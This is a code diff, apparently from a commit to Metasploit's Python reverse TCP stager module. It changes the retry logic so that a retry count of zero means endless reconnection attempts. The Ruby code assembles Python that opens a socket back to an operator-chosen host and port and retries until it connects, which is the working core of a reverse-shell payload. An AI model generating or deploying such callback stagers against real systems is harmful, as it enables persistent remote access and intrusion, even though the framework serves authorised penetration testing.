@@ -19,7 +19,7 @@ module Payload::Python::ReverseTcp
19
19
def initialize ( *args )
20
20
super
21
21
register_advanced_options ( [
22
- OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails (zero to infinite retries)' , 1 ] ) ,
22
+ OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails (zero to infinite retries)' , 0 ] ) ,
23
23
OptInt . new ( 'StagerRetryWait' , [ false , 'Number of seconds to wait for the stager between reconnect attempts' ] )
24
24
] , self . class )
25
25
end
@@ -53,23 +53,24 @@ def transport_config(opts={})
53
53
def generate_reverse_tcp ( opts = { } )
54
54
# Set up the socket
55
55
cmd = "import socket,struct#{ opts [ :retry_wait ] . to_i > 0 ? ',time' : '' } \n "
56
- cmd << "counter = 0\n "
57
56
if opts [ :retry_wait ] . blank? # do not retry at all (old style)
58
57
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n " # socket.AF_INET = 2
59
58
cmd << "s.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
60
59
else
61
- cmd << "while counter<#{ opts [ :retry_count ] . to_i } :\n "
60
+ if opts [ :retry_count ] >0
61
+ cmd << "for x in range(#{ opts [ :retry_count ] . to_i } ):\n "
62
+ else
63
+ cmd << "while 1:\n "
64
+ end
62
65
cmd << "\t try:\n "
63
66
cmd << "\t \t s=socket.socket(2,socket.SOCK_STREAM)\n " # socket.AF_INET = 2
64
67
cmd << "\t \t s.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
65
68
cmd << "\t \t break\n "
66
69
cmd << "\t except:\n "
67
70
if opts [ :retry_wait ] . to_i <= 0
68
- cmd << "\t \t counter=counter+1\n "
69
71
cmd << "\t \t pass\n " # retry immediately
70
72
else
71
73
cmd << "\t \t time.sleep(#{ opts [ :retry_wait ] } )\n " # retry after waiting
72
- cmd << "\t \t counter=counter+1\n "
73
74
end
74
75
end
75
76
cmd << py_send_uuid if include_send_uuid
0 commit comments